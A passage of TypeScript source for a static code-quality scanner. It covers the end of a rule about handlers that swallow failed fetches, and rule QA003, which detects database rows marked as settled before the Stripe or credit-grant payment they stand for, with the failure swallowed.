(file.isServer) continue;\n if (NEVER_CLIENT_PATH.test(file.path)) continue;\n if (/^\\s*[\"']use server[\"']/m.test(file.code)) continue;\n\n const parsed = file.parsed;\n if (!parsed) continue;\n\n const { reachable } = collectFunctions(file);\n if (reachable.size === 0) continue;\n const reachableByNode = new Map<BabelFunction, FnInfo>();\n for (const info of reachable.keys()) reachableByNode.set(info.path.node, info);\n\n const reportedUnits = new Set<number>();\n\n traverse(parsed.ast, {\n CallExpression(path) {\n if (!isFetchCallee(path.node.callee)) return;\n\n // Clause 2 — reachable from a user action, and not ambient.\n if (inAmbientContext(path)) return;\n const chain: FnInfo[] = [];\n for (\n let fn = path.getFunctionParent();\n fn !== null;\n fn = fn.getFunctionParent()\n ) {\n const info = reachableByNode.get(fn.node);\n if (info) chain.push(info);\n }\n if (chain.length === 0) return; // module scope, or an unreachable helper\n // The WIDEST reachable ancestor is the unit, not the nearest: a\n // `.then(res => ...)` callback's own body does not contain the\n // handler's try/catch, and judging the callback alone reports a\n // defect the enclosing function already handles.\n const unit = chain[chain.length - 1]!;\n if (reportedUnits.has(unit.start)) return;\n\n const call = path.node;\n const callSource = file.code.slice(nodeStart(call), nodeEnd(call));\n\n // Clause 3 — beacons opt out of having their answer read.\n if (/\\bkeepalive\\s*:\\s*true/.test(callSource)) return;\n const urlArg = call.arguments[0];\n if (urlArg && (urlArg.type === \"StringLiteral\" || urlArg.type === \"TemplateLiteral\")) {\n const urlSource = file.code.slice(nodeStart(urlArg), nodeEnd(urlArg));\n if (BEACON_URL.test(urlSource)) return;\n }\n\n // Clause 4 — the guard belongs to the caller or the library.\n if (inLibraryCallback(path)) return;\n const unitSource = file.code.slice(unit.start, unit.end);\n const binding = responseBinding(path);\n if (returnsTheResponse(path, unit, unitSource, binding.ident)) return;\n for (const candidate of chain) {\n if (candidate.exported && candidate.name && TRANSPORT_NAME.test(candidate.name)) return;\n }\n\n // Clause 5 — any error path anywhere in the enclosing function.\n if (path.findParent((p) => p.isTryStatement() && nodeStart(p.node) >= unit.start)) return;\n if (ERROR_PATH_SIGNALS.some((re) => re.test(unitSource))) return;\n // ...except the empty-else shape, which is the defect itself.\n const okShape = statusReferencesAreEmptyElse(unit, binding);\n if (okShape === false) return;\n\n // Clause 6 — a success assertion on the path after the write.\n const after = file.code.slice(nodeEnd(call), unit.end);\n if (!SUCCESS_ASSERTIONS.some((re) => re.test(after))) return;\n\n // Clause 7 — a revalidation would correct the lie on its own.\n if (REVALIDATION.test(after)) return;\n\n // Consequence gate — high severity has to be earned.\n const before = file.code.slice(unit.start, nodeStart(call));\n let destructiveConfirm = false;\n for (const m of before.matchAll(/\\bconfirm\\s*\\(/g)) {\n if (DESTRUCTIVE_CONFIRM.test(before.slice(m.index!, m.index! + 200))) {\n destructiveConfirm = true;\n break;\n }\n }\n // Only the handlers that actually reach THIS fetch lend it their stake.\n const handlerNames = [...(reachable.get(unit) ?? new Set<string>())].join(\" \");\n const consequenceText = `${callSource} ${unit.name ?? \"\"} ${handlerNames}`;\n if (!destructiveConfirm && !CONSEQUENCE.test(consequenceText)) return;\n\n reportedUnits.add(unit.start);\n hits.push({\n file: file.path,\n line: lineAt(file.content, nodeStart(call)),\n detail:\n okShape === true\n ? `${unit.name ? `\\`${unit.name}\\` ` : \"This handler \"}checks the response status and then does nothing with the failure — it falls through to the same success message, optimistic update or redirect it would show on a 200. The user is told a destructive change landed when it may not have.`\n : undefined,\n });\n },\n });\n }\n\n return hits;\n },\n};\n","import type { Node } from \"@babel/types\";\nimport type { QualityFile, QualityHit, QualityRule } from \"../types.js\";\nimport { lineAt } from \"../context.js\";\n\n/**\n * QA003 — a record is written before the payment it stands for.\n *\n * The originating defect: a referral handler SELECTed the referral row\n * `WHERE status = 'pending'`, UPDATEd it to `'converted'`, and only then\n * called `stripe.customers.createBalanceTransaction`. The Stripe call was\n * wrapped in a catch that logged. When it failed, the row said the referrer\n * had been paid, the referrer had not been paid, and nothing would ever look\n * at that row again — the next run's `WHERE status = 'pending'` no longer\n * matches it. The money is gone in the only direction that cannot be undone\n * by a retry: silently.\n *\n * The naive rule — \"a state write precedes a side effect\" — fires on every\n * write-then-notify handler in every codebase, which is most of them. What\n * ships instead is much narrower: AN ELIGIBILITY-CONSUMING STATUS TRANSITION\n * PRECEDES AN UNREPLAYABLE VALUE TRANSFER. Four clauses, each bought with a\n * false positive, and each naming the legitimate pattern it protects:\n *\n * effect allowlist Money and entitlement only. `await db.insert(users)`\n * then `sendWelcomeEmail()` is not this bug — a duplicate\n * or missing email is recoverable and usually visible.\n * Email, push, Slack/Discord, outbound webhooks,\n * analytics, `revalidatePath`, audit logs, search-index\n * and CRM syncs, and bare `fetch()` are all excluded ON\n * PURPOSE, and this is where the overwhelming bulk of the\n * volume dies. THIS RESTRICTION IS THE RULE; everything\n * below it is trim. Do not broaden it to recover\n * coverage.\n * consumes The write must move a row OUT of a pending-ish\n * eligibility predicate the same handler read it by. A plain INSERT\n * of the operation's subject — a user, a scan, an order —\n * does not qualify, because nothing was spent by writing\n * it. This is the clause that separates the referral\n * defect from every write-then-notify site in the corpus.\n * terminal catch A handler that rethrows, answers non-2xx, reverts the\n * column, or enqueues a retry (queue.add, inngest.send,\n * qstash, after(), waitUntil, an outbox INSERT) has a\n * recovery story. That is a design, not a defect.\n * visible retry An `idempotencyKey` on the effect, a transaction whose\n * catch rethrows, or ANY file in the repo that\n * re-selects the post-transition state with a staleness\n * predicate. That last one is cross-file, and it is the\n * main thing standing between this rule and the outbox\n * pattern — which is the correct implementation of\n * exactly this operation.\n *\n * Path exclusions, comment masking and test-file skipping come from the\n * shared context; this file re-implements none of them.\n */\n\n/* ------------------------------------------------------------------ *\n * Clause 1 — the effect allowlist.\n * ------------------------------------------------------------------ */\n\n/**\n * Billing-system mutations, keyed on the LAST TWO segments of the callee\n * chain so the receiver can be spelled `stripe`, `stripeClient`, `this.stripe`\n * or `getStripe()` — the corpus spells it all four ways.\n *\n * Normalised to lowercase with separators removed, so Chargebee's\n * `promotional_credit.add` and Stripe's `promotionalCredit.add` collapse to\n * one entry. Reads (`retrieve`, `list`) are absent deliberately: only calls\n * that move value are unreplayable.\n */\nconst BILLING_MEMBER_CALLS = new Set([\n // Stripe\n \"customers.createbalancetransaction\",\n \"refunds.create\",\n \"transfers.create\",\n \"payouts.create\",\n \"invoices.create\",\n \"invoiceitems.create\",\n \"subscriptions.update\",\n \"creditgrants.create\",\n \"paymentintents.capture\",\n // Chargebee (singular resource names)\n \"refund.create\",\n \"payout.create\",\n \"invoice.create\",\n \"invoice.refund\",\n \"subscription.update\",\n \"subscription.updateforitems\",\n \"transaction.refund\",\n \"transactions.refund\",\n \"promotionalcredit.add\",\n \"promotionalcredit.set\",\n \"creditnote.create\",\n \"creditnotes.create\",\n // Paddle — adjustments are its refund/credit primitive\n \"adjustments.create\",\n \"adjustment.create\",\n \"paymentintent.capture\",\n]);\n\n/**\n * The same effects reached as bare functions — how Lemon Squeezy's SDK is\n * shaped (`updateSubscription(id, …)`) and how most repos wrap their own\n * entitlement grant (`grantCredits(userId, 500)`).\n */\nconst BILLING_BARE_CALLS = new Set([\n \"createbalancetransaction\",\n \"createrefund\",\n \"issuerefund\",\n \"refundorder\",\n \"refundpayment\",\n \"createpayout\",\n \"sendpayout\",\n \"createtransfer\",\n \"updatesubscription\",\n \"createinvoiceitem\",\n \"capturepaymentintent\",\n \"creditgrant\",\n \"createcreditgrant\",\n \"grantcredits\",\n \"grantcredit\",\n \"addcredits\",\n \"awardcredits\",\n \"issuecredits\",\n \"issuecredit\",\n \"applycredit\",\n \"creditaccount\",\n \"credituser\",\n \"incrementcredits\",\n \"grantentitlement\",\n \"upgradeplan\",\n \"activatesubscription\",\n \"addbalance\",\n]);\n\n/**\n * A local grant of paid entitlement is the other half of clause 1: plenty of\n * apps never call a billing SDK and instead write `credits` straight into\n * their own table. Keyed on the COLUMN, because the table is named a hundred\n * ways and the column is named about twelve.\n */\nconst ENTITLEMENT_COLUMN =\n /^(?:credit|credits|creditbalance|creditsremaining|remainingcredits|balance|quota|quotaremaining|token|tokens|seat|seats|plan|plantier|tier|premium|ispro|proplan|entitlement|allowance|subscriptionstatus|subscriptiontier|scansremaining|minutes|usageallowance)$/;\n\n/** Tables whose very existence is a grant, for the INSERT form of the above. */\nconst ENTITLEMENT_TABLE =\n /^(?:credit|creditledger|creditledgerentry|creditgrant|creditentry|wallet|balance|entitlement|quota|tokengrant|usercredit|accountcredit|subscription|plan)$/;\n\n/* ------------------------------------------------------------------ *\n * Clause 2 — eligibility vocabulary.\n * ------------------------------------------------------------------ */\n\n/**\n * \"This row has not been settled yet.\"\n *\n * Deliberately short. `new`, `open` and `active` are NOT here: they are the\n * resting state of half the rows in a normal schema, and including them turns\n * \"consumes eligibility\" back into \"writes a status\", which is the naive rule.\n */\nconst PENDING_VALUES = new Set([\n \"pending\",\n \"unprocessed\",\n \"queued\",\n \"awaiting\",\n \"unpaid\",\n \"unsent\",\n \"unclaimed\",\n \"uncredited\",\n \"notstarted\",\n \"false\",\n \"0\",\n \"null\",\n]);\n\n/* ------------------------------------------------------------------ *\n * Tiny AST walker.\n *\n * `visitCalls` gives the node but not its ancestors, and every clause here is\n * a question about position: which function encloses this call, which catch\n * covers it, is it inside a transaction callback. So the walk is done once,\n * recording spans, and every later question is answered by offset — which\n * also lets the regex-located entitlement writes (clause 1's local-grant half,\n * which has no single call node) be asked the same questions.\n * ------------------------------------------------------------------ */\n\ntype AnyNode = Node & Record<string, unknown>;\n\nconst WALK_SKIP_KEYS = new Set([\n \"loc\",\n \"leadingComments\",\n \"trailingComments\",\n \"innerComments\",\n \"comments\",\n \"tokens\",\n \"extra\",\n]);\n\nconst FUNCTION_TYPES = new Set([\n \"FunctionDeclaration\",\n \"FunctionExpression\",\n \"ArrowFunctionExpression\",\n \"ObjectMethod\",\n \"ClassMethod\",\n \"ClassPrivateMethod\",\n]);\n\ninterface Span {\n start: number;\n end: number;\n}\n\nfunction isNode(value: unknown): value is AnyNode {\n return (\n typeof value === \"object\" &&\n value !== null &&\n typeof (value as { type?: unknown }).type === \"string\"\n );\n}\n\nfunction spanOf(node: unknown): Span {\n const n = node as { start?: number | null; end?: number | null } | null;\n return { start: n?.start ?? 0, end: n?.end ?? 0 };\n}\n\nfunction walkAst(value: unknown, visit: (node: AnyNode) => void): void {\n if (Array.isArray(value)) {\n for (const item of value) walkAst(item, visit);\n return;\n }\n if (!isNode(value)) return;\n visit(value);\n for (const key of Object.keys(value)) {\n if (WALK_SKIP_KEYS.has(key)) continue;\n const child = (value as Record<string, unknown>)[key];\n if (child && typeof child === \"object\") walkAst(child, visit);\n }\n}\n\n/**\n * The dotted callee path, innermost last: `stripe.customers.create` →\n * [\"stripe\",\"customers\",\"create\"]. A call in the middle of the chain\n * (`getStripe().refunds.create`) is walked through, so the receiver being an\n * expression rather than a name costs nothing.\n */\nfunction calleeChain(callee: unknown): string[] {\n const parts: string[] = [];\n let cur: unknown = callee;\n for (let guard = 0; guard < 12 && cur; guard++) {\n if (!isNode(cur)) break;\n const node = cur as AnyNode;\n if (node.type === \"Identifier\") {\n parts.unshift(String((node as { name?: unknown }).name ?? \"\"));\n break;\n }\n if (node.type === \"ThisExpression\") {\n parts.unshift(\"this\");\n break;\n }\n if (node.type === \"MemberExpression\" || node.type === \"OptionalMemberExpression\") {\n const prop = (node as { property?: unknown }).property;\n if (isNode(prop) && prop.type === \"Identifier\") {\n parts.unshift(String((prop as { name?: unknown }).name ?? \"\"));\n } else if (isNode(prop) && prop.type === \"StringLiteral\") {\n parts.unshift(String((prop as { value?: unknown }).value ?? \"\"));\n } else {\n parts.unshift(\"*\");\n }\n cur = (node as { object?: unknown }).object;\n continue;\n }\n if (\n node.type === \"CallExpression\" ||\n node.type === \"OptionalCallExpression\" ||\n node.type === \"TSNonNullExpression\" ||\n node.type === \"AwaitExpression\"\n ) {\n cur = (node as { callee?: unknown; expression?: unknown; argument?: unknown }).callee\n ?? (node as { expression?: unknown }).expression\n ?? (node as { argument?: unknown }).argument;\n continue;\n }\n break;\n }\n return parts;\n}\n\nfunction flatten(text: string): string {\n return text.toLowerCase().replace(/[^a-z0-9.]/g, \"\");\n}\n\n/** Everything the walk records, so every later question is an offset lookup. */\ninterface FileShape {\n functions: Span[];\n /** try { … } blocks paired with the span of their catch body. */\n tryCatches: { covered: Span; catchBody: Span }[];\n /** `p.catch(cb)` — the span `cb` covers, and the span of `cb` itself. */\n catchCalls: { covered: Span; catchBody: Span }[];\n /** Callback spans of `db.transaction(…)` / `prisma.$transaction(…)`. */\n transactions: Span[];\n /** Calls on the billing allowlist. */\n effects: { span: Span; label: string }[];\n}\n\nfunction shapeOf(file: QualityFile): FileShape | null {\n if (!file.parsed) return null;\n const shape: FileShape = {\n functions: [],\n tryCatches: [],\n catchCalls: [],\n transactions: [],\n effects: [],\n };\n\n walkAst(file.parsed.ast.program, (node) => {\n if (FUNCTION_TYPES.has(node.type)) {\n shape.functions.push(spanOf(node));\n return;\n }\n if (node.type === \"TryStatement\") {\n const handler = (node as { handler?: unknown }).handler;\n const block = (node as { block?: unknown }).block;\n if (isNode(handler) && isNode(block)) {\n const body = (handler as { body?: unknown }).body;\n // A try/finally with no catch does not swallow anything, so it is not\n // recorded — the error still leaves the handler.\n shape.tryCatches.push({ covered: spanOf(block), catchBody: spanOf(body ?? handler) });\n }\n return;\n }\n if (node.type !== \"CallExpression\" && node.type !== \"OptionalCallExpression\") return;\n\n const callee = (node as { callee?: unknown }).callee;\n const args = ((node as { arguments?: unknown }).arguments ?? []) as unknown[];\n const chain = calleeChain(callee);\n const last = flatten(chain[chain.length - 1] ?? \"\");\n const lastTwo = flatten(chain.slice(-2).join(\".\"));\n\n // `somePromise.catch(cb)` — clause 3 treats this as a catch block, or the\n // rule is evaded by one line.\n if (last === \"catch\" && isNode(callee)) {\n const target = (callee as { object?: unknown }).object;\n const cb = args[0];\n if (isNode(target) && isNode(cb)) {\n shape.catchCalls.push({ covered: spanOf(target), catchBody: spanOf(cb) });\n }\n return;\n }\n\n // Transaction callbacks, for clause 4.\n if (last === \"transaction\" || last === \"$transaction\" || last === \"transactionsql\") {\n for (const arg of args) {\n if (isNode(arg) && FUNCTION_TYPES.has(arg.type)) shape.transactions.push(spanOf(arg));\n }\n // fall through: a transaction call is never itself an effect\n return;\n }\n\n if (BILLING_MEMBER_CALLS.has(lastTwo) || BILLING_BARE_CALLS.has(last)) {\n shape.effects.push({ span: spanOf(node), label: chain.join(\".\") });\n }\n });\n\n return shape;\n}\n\n/** The OUTERMOST function containing `offset` — the handler, not the callback. */\nfunction handlerSpan(shape: FileShape, offset: number, fallback: Span): Span {\n let best: Span | null = null;\n for (const fn of shape.functions) {\n if (offset < fn.start || offset >= fn.end) continue;\n if (!best || fn.start < best.start) best = fn;\n }\n return best ?? fallback;\n}\n\n/** The INNERMOST catch covering `offset`, whether `try {}` or `.catch()`. */\nfunction catchCovering(shape: FileShape, offset: number): Span | null {\n let best: { covered: Span; catchBody: Span } | null = null;\n for (const entry of [...shape.tryCatches, ...shape.catchCalls]) {\n if (offset < entry.covered.start || offset >= entry.covered.end) continue;\n if (!best || entry.covered.start > best.covered.start) best = entry;\n }\n return best ? best.catchBody : null;\n}\n\nfunction insideTransaction(shape: FileShape, offset: number): boolean {\n return shape.transactions.some((t) => offset >= t.start && offset < t.end);\n}\n\n/* ------------------------------------------------------------------ *\n * Clause 2 — reads and writes, in the four dialects the corpus uses.\n *\n * Raw SQL, Drizzle, Prisma and Supabase. Restricting this to one ORM is how a\n * rule ends up with no surface to fire on; the market this targets writes\n * Supabase from an edge function far more often than it writes Prisma.\n * ------------------------------------------------------------------ */\n\ninterface Predicate {\n table: string;\n column: string;\n value: string;\n index: number;\n}\n\ninterface WriteRecord extends Predicate {\n /** Text following the write, scanned for a compare-and-set WHERE. */\n trailing: string;\n kind: \"update\" | \"insert\";\n}\n\nfunction normTable(raw: string): string {\n const last = raw.trim().replace(/[\"'`]/g, \"\").split(\".\").pop() ?? \"\";\n const flat = last.toLowerCase().replace(/[^a-z0-9]/g, \"\");\n return flat.endsWith(\"s\") ? flat.slice(0, -1) : flat;\n}\n\nfunction normColumn(raw: string): string {\n const last = raw.trim().replace(/[\"'`]/g, \"\").split(\".\").pop() ?? \"\";\n return last.toLowerCase().replace(/[^a-z0-9]/g, \"\");\n}\n\nfunction normValue(raw: string): string {\n return raw.trim().replace(/^[\"'`]|[\"'`]$/g, \"\").trim().toLowerCase();\n}\n\nfunction isPending(value: string): boolean {\n return PENDING_VALUES.has(normValue(value).replace(/[^a-z0-9]/g, \"\"));\n}\n\n/** Balanced `(` … `)` or `{` … `}` starting at `openIndex`, inner text only. */\nfunction balancedSlice(src: string, openIndex: number, open: string, close: string, cap = 900): string {\n if (src[openIndex] !== open) return \"\";\n let depth = 0;\n const limit = Math.min(src.length, openIndex + cap);\n for (let i = openIndex; i < limit; i++) {\n const ch = src[i];\n if (ch === open) depth++;\n else if (ch === close) {\n depth--;\n if (depth === 0) return src.slice(openIndex + 1, i);\n }\n }\n return src.slice(openIndex + 1, limit);\n}\n\n/** The object literal that follows `key:` — `where`, `data`, `set`. */\nfunction objectAfterKey(src: string, key: string): string {\n const m = new RegExp(`\\\\b${key}\\\\s*:\\\\s*\\\\{`).exec(src);\n if (!m) return \"\";\n return balancedSlice(src, m.index + m[0].length - 1, \"{\", \"}\");\n}\n\n/** Split on commas that are not inside brackets — reused for SET and data. */\nfunction splitTopLevel(body: string): string[] {\n const parts: string[] = [];\n let depth = 0;\n let current = \"\";\n for (const ch of body) {\n if (ch === \"{\" || ch === \"[\" || ch === \"(\") depth++;\n else if (ch === \"}\" || ch === \"]\" || ch === \")\") depth--;\n if (ch === \",\" && depth === 0) {\n parts.push(current);\n current = \"\";\n continue;\n }\n current += ch;\n }\n if (current.trim()) parts.push(current);\n return parts;\n}\n\n/** `col: value` / `col = value` pairs from an object body or a SQL SET list. */\nfunction assignments(body: string, separator: \":\" | \"=\"): { column: string; value: string }[] {\n const out: { column: string; value: string }[] = [];\n for (const part of splitTopLevel(body)) {\n const at = part.indexOf(separator);\n if (at === -1) continue;\n const column = part.slice(0, at).trim();\n const value = part.slice(at + 1).trim();\n if (!column || !/^[\"'`]?[\\w.$]+[\"'`]?$/.test(column)) continue;\n out.push({ column, value });\n }\n return out;\n}\n\n/** `col = 'pending'`, `col = 0`, `col IS NULL` — the SQL spelling. */\nfunction sqlPredicates(text: string): { column: string; value: string }[] {\n const out: { column: string; value: string }[] = [];\n const re = /([\\w.\"`]+)\\s*(?:=\\s*(?:(['\"`])([\\w-]+)\\2|(\\d+|true|false|null))|\\s+is\\s+(not\\s+)?null)/gi;\n for (const m of text.matchAll(re)) {\n let value: string;\n if (m[3] !== undefined) value = m[3];\n else if (m[4] !== undefined) value = m[4];\n else value = m[5] ? \"notnull\" : \"null\";\n out.push({ column: m[1], value });\n }\n return out;\n}\n\n/** `eq(t.status,'pending')`, `isNull(t.creditedAt)`, `.eq('status','pending')`, `.is('x',null)`. */\nfunction builderPredicates(text: string): { column: string; value: string }[] {\n const out: { column: string; value: string }[] = [];\n for (const m of text.matchAll(\n /\\beq\\(\\s*(?:[\\w$]+\\.)?([\\w$]+)\\s*,\\s*(?:(['\"`])([\\w-]+)\\2|(false|true|0|null))\\s*\\)/g,\n )) {\n out.push({ column: m[1], value: m[3] ?? m[4] ?? \"\" });\n }\n for (const m of text.matchAll(/\\bisNull\\(\\s*(?:[\\w$]+\\.)?([\\w$]+)\\s*\\)/g)) {\n out.push({ column: m[1], value: \"null\" });\n }\n for (const m of text.matchAll(\n /\\.eq\\(\\s*(['\"`])([\\w.]+)\\1\\s*,\\s*(?:(['\"`])([\\w-]+)\\3|(false|true|0|null))\\s*\\)/g,\n )) {\n out.push({ column: m[2], value: m[4] ?? m[5] ?? \"\" });\n }\n for (const m of text.matchAll(/\\.is\\(\\s*(['\"`])([\\w.]+)\\1\\s*,\\s*null\\s*\\)/gi)) {\n out.push({ column: m[2], value: \"null\" });\n }\n return out;\n}\n\n/** Object-literal predicates, as Prisma spells a `where`. */\nfunction objectPredicates(text: string): { column: string; value: string }[] {\n const out: { column: string; value: string }[] = [];\n for (const { column, value } of assignments(text, \":\")) {\n if (/^[[{]/.test(value)) continue;\n out.push({ column, value });\n }\n return out;\n}\n\n/**\n * Reads whose predicate says \"not settled yet\".\n *\n * A read without such a predicate is not eligibility — fetching a user by id\n * and then charging them is an ordinary purchase, not a consumed grant.\n */\nfunction collectPendingReads(src: string): Predicate[] {\n const out: Predicate[] = [];\n const push = (table: string, index: number, preds: { column: string; value: string }[]) => {\n for (const p of preds) {\n if (!isPending(p.value)) continue;\n out.push({ table, column: p.column, value: p.value, index });\n }\n };\n\n // Raw SQL.\n for (const m of src.matchAll(/\\bselect\\b[\\s\\S]{0,400}?\\bfrom\\s+[\"'`]?([\\w.]+)[\"'`]?/gi)) {\n const at = (m.index ?? 0) + m[0].length;\n push(m[1], m.index ?? 0, sqlPredicates(src.slice(at, at + 300)));\n }\n\n // Drizzle `db.select().from(tbl)` and Supabase `from('tbl').select()`.\n for (const m of src.matchAll(/\\.from\\(\\s*(['\"`]?)([\\w$]+)\\1\\s*\\)/g)) {\n const idx = m.index ?? 0;\n const before = src.slice(Math.max(0, idx - 160), idx);\n const after = src.slice(idx + m[0].length, idx + m[0].length + 400);\n // Must be a read: `.update(tbl)` / `.delete(tbl)` chains have no `.from(`,\n // but a Supabase `.from('t').update(…)` does, and is not eligibility.\n const isRead = /\\bselect\\s*\\(/i.test(before) || /^[\\s\\S]{0,120}?\\.select\\s*\\(/.test(after);\n if (!isRead) continue;\n push(m[2], idx, builderPredicates(after));\n }\n\n // Prisma `x.model.findFirst({ where: … })`, and Drizzle's relational\n // `db.query.model.findFirst({ where: eq(…) })` — same shape, both dialects\n // of predicate scanned.\n for (const m of src.matchAll(\n /\\.\\s*([\\w$]+)\\s*\\.\\s*(?:findFirst|findUnique|findMany|findFirstOrThrow|findUniqueOrThrow)\\s*\\(/g,\n )) {\n const idx = m.index ?? 0;\n const args = balancedSlice(src, idx + m[0].length - 1, \"(\", \")\");\n const where = objectAfterKey(args, \"where\");\n push(m[1], idx, objectPredicates(where));\n push(m[1], idx, builderPredicates(args));\n }\n\n return out;\n}\n\n/** Writes, with the text that follows them so a compare-and-set is visible. */\nfunction collectWrites(src: string): WriteRecord[] {\n const out: WriteRecord[] = [];\n const push = (\n table: string,\n index: number,\n end: number,\n kind: WriteRecord[\"kind\"],\n pairs: { column: string; value: string }[],\n ) => {\n const trailing = src.slice(end, end + 300);\n for (const p of pairs) {\n out.push({ table, column: p.column, value: p.value, index, trailing, kind });\n }\n };\n\n // Raw SQL UPDATE … SET … [WHERE …]\n for (const m of src.matchAll(/\\bupdate\\s+[\"'`]?([\\w.]+)[\"'`]?\\s+set\\s+([\\s\\S]{0,300}?)(?=\\bwhere\\b|;|`|\\)|$)/gi)) {\n const idx = m.index ?? 0;\n push(m[1], idx, idx + m[0].length, \"update\", assignments(m[2], \"=\"));\n }\n // Raw SQL INSERT INTO t (cols)\n for (const m of src.matchAll(/\\binsert\\s+into\\s+[\"'`]?([\\w.]+)[\"'`]?\\s*\\(([\\s\\S]{0,200}?)\\)/gi)) {\n const idx = m.index ?? 0;\n const cols = m[2].split(\",\").map((c) => ({ column: c.trim(), value: \"\" }));\n push(m[1], idx, idx + m[0].length, \"insert\", cols);\n }\n\n // Drizzle `.update(tbl).set({ … })` and `.insert(tbl).values({ … })`.\n for (const m of src.matchAll(/\\.update\\(\\s*([\\w$]+)\\s*\\)[\\s\\S]{0,80}?\\.set\\(\\s*\\{/g)) {\n const idx = m.index ?? 0;\n const open = idx + m[0].length - 1;\n const body = balancedSlice(src, open, \"{\", \"}\");\n push(m[1], idx, open + body.length + 2, \"update\", assignments(body, \":\"));\n }\n for (const m of src.matchAll(/\\.insert\\(\\s*([\\w$]+)\\s*\\)[\\s\\S]{0,80}?\\.values\\(\\s*\\{/g)) {\n const idx = m.index ?? 0;\n const open = idx + m[0].length - 1;\n const body = balancedSlice(src, open, \"{\", \"}\");\n push(m[1], idx, open + body.length + 2, \"insert\", assignments(body, \":\"));\n }\n\n // Supabase `.from('t').update({ … })` / `.insert({ … })` / `.upsert({ … })`.\n for (const m of src.matchAll(/\\.from\\(\\s*(['\"`])([\\w]+)\\1\\s*\\)[\\s\\S]{0,80}?\\.(update|insert|upsert)\\(\\s*\\{/g)) {\n const idx = m.index ?? 0;\n const open = idx + m[0].length - 1;\n const body = balancedSlice(src, open, \"{\", \"}\");\n push(\n m[2],\n idx,\n open + body.length + 2,\n m[3] === \"insert\" ? \"insert\" : \"update\",\n assignments(body, \":\"),\n );\n }\n\n // Prisma `x.model.update({ data: { … } })` / `create` / `upsert`.\n for (const m of src.matchAll(/\\.\\s*([\\w$]+)\\s*\\.\\s*(update|updateMany|upsert|create)\\s*\\(/g)) {\n const idx = m.index ?? 0;\n const args = balancedSlice(src, idx + m[0].length - 1, \"(\", \")\");\n const data = objectAfterKey(args, \"data\") || objectAfterKey(args, \"update\");\n if (!data) continue;\n push(\n m[1],\n idx,\n idx + m[0].length + args.length,\n m[2] === \"create\" ? \"insert\" : \"update\",\n assignments(data, \":\"),\n );\n }\n\n return out;\n}\n\n/* ------------------------------------------------------------------ *\n * Clause 3 — is the catch terminal?\n * ------------------------------------------------------------------ */\n\n/** Anything in a catch that hands the failure onward instead of eating it. */\nconst ENQUEUES =\n /\\b(?:queue\\s*\\.\\s*add|inngest\\s*\\.\\s*send|qstash|boss\\s*\\.\\s*send|after\\s*\\(|waitUntil\\s*\\(|\\.\\s*enqueue\\s*\\(|\\.\\s*publish\\s*\\(|\\.\\s*sendMessage\\s*\\(|outbox|dead[_-]?letter|deadLetter|retryQueue|scheduleRetry|schedule\\s*\\()/i;\n\n/** A non-2xx answer is a visible failure, whatever framework writes it. */\nconst NON_2XX =\n /\\bstatus\\s*:\\s*[45]\\d\\d|\\.\\s*status\\s*\\(\\s*[45]\\d\\d|\\bsendStatus\\s*\\(\\s*[45]\\d\\d|\\bHTTPException\\s*\\(\\s*[45]\\d\\d|new\\s+Response\\s*\\([^)]{0,200}?\\b[45]\\d\\d/;\n\n/* ------------------------------------------------------------------ *\n * Clause 4 — does anything in the repo re-select the transitioned state?\n * ------------------------------------------------------------------ */\n\n/**\n * A reconciler reads the rows it might have stranded — by the value they were\n * moved TO, with a predicate on how long ago. That is the outbox pattern, and\n * the outbox pattern is the correct implementation of this operation; a rule\n * that flags it is flagging the fix.\n */\n/*\n * Two bugs lived in the first spelling of this, and both made the rule flag\n * the fix:\n *\n * 1. It knew `updated_at <`, `NOW() - INTERVAL` and `Date.now() -`, but not\n * `datetime('now', '-10 minutes')` — which is the SQLite/libSQL idiom,\n * used 59 times in packages/web alone. So XploitScan's own outbox code\n * tripped its own rule.\n * 2. The whole alternation was wrapped in `\\b(?:…)\\b`, and the trailing\n * `\\b` sat after `now\\s*\\(\\s*\\)`. A word boundary after `)` needs a\n * word character next, so `NOW()` matched only when something was glued\n * to it — `NOW() - INTERVAL` passed on `interval`, and a bare\n * `reaped_at < NOW()` missed entirely.\n *\n * Split into per-alternative boundaries so a token ending in punctuation\n * cannot be silently disabled by a boundary that belongs to a word token.\n */\nconst STALENESS =\n /\\b(?:lt|lte|gt|gte|older|stale|timeout|timedout|retry|retries|attempt|attempts|updated_?at|created_?at|processed_?at|last_?\\w+|since|interval|current_?timestamp)\\b|\\bDate\\.now\\b|\\bnow\\s*\\(|\\bdate(?:time)?\\s*\\(|\\bdate_?sub\\s*\\(|['\"`]\\s*now\\s*['\"`]/i;\n\nconst READ_VERB = /\\b(?:select|from|find\\w*|query|scan|rows|fetchAll|getAll|list)\\b/i;\n\nfunction repoReselects(\n files: QualityFile[],\n originPath: string,\n originIndex: number,\n table: string,\n value: string,\n): boolean {\n const tableToken = table.replace(/[\"'`]/g, \"\");\n if (tableToken.length < 3) return false;\n const valueToken = normValue(value);\n if (!valueToken || valueToken.length < 2) return false;\n const tableRe = new RegExp(`\\\\b${escapeRe(tableToken)}s?\\\\b`, \"gi\");\n const valueRe = new RegExp(`\\\\b${escapeRe(valueToken)}\\\\b`, \"i\");\n\n for (const f of files) {\n if (f.excluded) continue;\n for (const m of f.code.matchAll(tableRe)) {\n const at = m.index ?? 0;\n // The transition itself is not a reconciler.\n if (f.path === originPath && at > originIndex - 200 && at < originIndex + 400) continue;\n const window = f.code.slice(Math.max(0, at - 200), at + 400);\n if (!READ_VERB.test(window)) continue;\n if (!valueRe.test(window)) continue;\n if (!STALENESS.test(window)) continue;\n return true;\n }\n }\n return false;\n}\n\nfunction escapeRe(s: string): string {\n return s.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$&\");\n}\n\n/* ------------------------------------------------------------------ */\n\nexport const stateBeforeEffect: QualityRule = {\n id: \"QA003\",\n title: \"A record is written before the payment it stands for\",\n severity: \"high\",\n category: \"Correctness\",\n description:\n \"This handler moves a row out of its pending state and only then makes the payment or entitlement grant that the row stands for, with the failure swallowed. If the transfer fails the record still reads as settled, the money never moved, and nothing will look at that row again because it no longer matches the pending query.\",\n fix: \"Make the transfer first and record it after, or make the transfer replayable: pass an idempotency key, keep the row pending until the transfer confirms, or write an outbox row that a reconciler retries.\",\n precisionNotes:\n \"Four gates, all required. (1) The effect must be a billing/entitlement mutation — Stripe/Paddle/Chargebee/Lemon Squeezy money movement or a local credits/quota/plan grant. Email, push, webhooks, analytics, revalidation, audit logs, search and CRM sync, and bare fetch() are excluded on purpose and must not be added back. (2) The preceding write must CONSUME eligibility: a read with a pending-ish predicate on a table/column, then a write moving that same column out of it — a plain 